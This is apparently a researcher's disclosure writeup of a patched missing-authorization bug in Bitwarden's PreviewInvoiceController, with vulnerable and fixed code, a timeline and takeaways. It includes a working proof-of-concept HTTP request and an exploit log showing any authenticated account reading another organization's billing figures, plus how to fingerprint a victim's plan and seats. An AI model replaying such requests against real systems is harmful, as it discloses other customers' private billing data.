# Bitwarden: PreviewInvoiceController Missing Authorization — Cross-Org Billing Disclosure
Bitwarden: PreviewInvoiceController Leaks Any Org's Billing Data
[InjectOrganization] loaded the organization. It never checked you were in it.Fifth writeup in my Bitwarden series. An action filter that looked like an authorization check but only verified the organization *existed* — letting any authenticated account read any organization's Stripe-computed billing data by GUID.
- ➜Vendor: Bitwarden
- ➜Product:
bitwarden/server - ➜Severity: Medium (CVSS 4.3)
- ➜CVE: Pending — requesting one for this issue
- ➜Report: HackerOne #3650476
- ➜Fix: PR #7583 — commit `0a3d9f9d`
- ➜Fixed in: server release `2026.5.0` (2026-05-29) — Cloud + self-hosted
//TL;DR
PreviewInvoiceController has two organization-scoped endpoints:
POST /billing/preview-invoice/organizations/{organizationId}/subscription/plan-change
PUT /billing/preview-invoice/organizations/{organizationId}/subscription/update
Both are gated by [Authorize("Application")] (any authenticated user) plus [InjectOrganization]. The catch: [InjectOrganization] is an action filter that loads the Organization by route id, 404s if it doesn't exist, and injects it — and that's *all* it does. It never checks the caller is a member, has a role, or has billing permission.
So any authenticated account — a free, zero-org account included — can pass an arbitrary organizationId and have the server run Stripe invoice previews against that org's real customer and subscription IDs, handing back its tax and total amounts (and, by inference, subscription status, seat count, discounts, and tax jurisdiction).
//The vulnerable code
The same codebase already had the correct pattern. OrganizationBillingVNextController decorates its [InjectOrganization] endpoints with an org-level authorization requirement:
// OrganizationBillingVNextController.cs — correct
[Authorize<ManageOrganizationBillingRequirement>]
[HttpGet("address")]
[InjectOrganization]
public async Task<IResult> GetBillingAddressAsync(...)
PreviewInvoiceController didn't:
// PreviewInvoiceController.cs — vulnerable (no org authorization)
[HttpPost("organizations/{organizationId:guid}/subscription/plan-change")]
[InjectOrganization]
public async Task<IResult> PreviewOrganizationSubscriptionPlanChangeTaxAsync(...)
[InjectOrganization] resolves {organizationId} straight from the route, loads the entity, and hands it to the action. From there PreviewOrganizationTaxCommand reads organization.GatewayCustomerId and organization.GatewaySubscriptionId and calls Stripe (GetSubscriptionAsync, CreateInvoicePreviewAsync) — all on a victim org the caller has no relationship to. Existence was checked; authorization never was.
//Proof on Cloud
A single plan-change request with a non-member's token returns live billing numbers:
POST /billing/preview-invoice/organizations/<victim-org-id>/subscription/plan-change HTTP/2
Host: api.bitwarden.com
Authorization: Bearer <attacker-token>
Content-Type: application/json
{"plan":{"tier":"Teams","cadence":"annually"},"billingAddress":{"country":"US","postalCode":"10001"}}
{ "tax": 21.3, "total": 261.3 }
The cleanest confirmation is differential: same attacker token, same victim org, only the endpoint changes. The properly-guarded billing endpoint denies; the preview endpoints don't.
attacker: free account, 0 orgs victim: <victim-org-id> (no membership)
baseline GET /organizations/{org}/billing/vnext/address → 403 DENIED ✓ (correct)
exploit POST /subscription/plan-change (Families) → 200 tax 4.25 total 52.13 ✗
exploit POST /subscription/plan-change (Teams) → 200 tax 21.3 total 261.3 ✗
exploit POST /subscription/plan-change (Enterprise) → 200 tax 38.34 total 470.34 ✗
exploit PUT /subscription/update → 400 "Organization does not
have a subscription." ✗
The 403 on billing/vnext/address proves the access boundary exists and is enforced elsewhere; the 200/400 on the preview endpoints prove it's missing here. Even the 400 leaks — it discloses whether the target org carries an active paid subscription. Varying tier and cadence across requests lets an attacker fingerprint a victim org's seat count, plan, discounts, and tax jurisdiction from the returned amounts, with no org membership at any point.
//The fix
Commit `0a3d9f9d` (PR #7583), shipped in 2026.5.0. Exactly the missing attribute, added to both endpoints:
+ [Authorize<ManageOrganizationBillingRequirement>]
[HttpPost("organizations/{organizationId:guid}/subscription/plan-change")]
[InjectOrganization]
public async Task<IResult> PreviewOrganizationSubscriptionPlanChangeTaxAsync(...)
+ [Authorize<ManageOrganizationBillingRequirement>]
[HttpPut("organizations/{organizationId:guid}/subscription/update")]
[InjectOrganization]
public async Task<IResult> PreviewOrganizationSubscriptionUpdateTaxAsync(...)
Now the same ManageOrganizationBillingRequirement that protects OrganizationBillingVNextController runs first, so a non-member gets 403 before any Stripe call happens. Integration tests covering both endpoints landed in the same PR.
//Disclosure timeline
All times UTC.
- ➜2026-04-05 — Report submitted to HackerOne (#3650476) with a PoC confirming both endpoints on
api.bitwarden.com. - ➜2026-04-06 — Reproduced and triaged (Medium severity).
- ➜2026-05-05 — Fix merged to
main: PR #7583, commit0a3d9f9d. - ➜2026-05-29 — Shipped in server release
2026.5.0; report resolved with bounty.
//Takeaways
- ➜An action filter that loads a resource by route id is not an authorization check.
[InjectOrganization]confirmed the org *existed* and handed it over; "can this caller touch it?" was never asked. Resolving an object and authorizing access to it are two different steps — don't let the first stand in for the second. - ➜When a controller is missing a guard its sibling has, that's the finding.
OrganizationBillingVNextControllercarried[Authorize<ManageOrganizationBillingRequirement>];PreviewInvoiceControllerdidn't, for the same kind of endpoint. Diffing two implementations of one pattern is one of the fastest ways to surface a missing-authorization bug. - ➜A read-only "preview" still leaks. Tax and total amounts — and even an error string about subscription status — are enough to fingerprint another tenant's billing, and each request spends the victim org's Stripe customer/subscription on the server's dime.
Thanks to @mandreko-bitwarden and the Bitwarden security team for the quick triage and fix.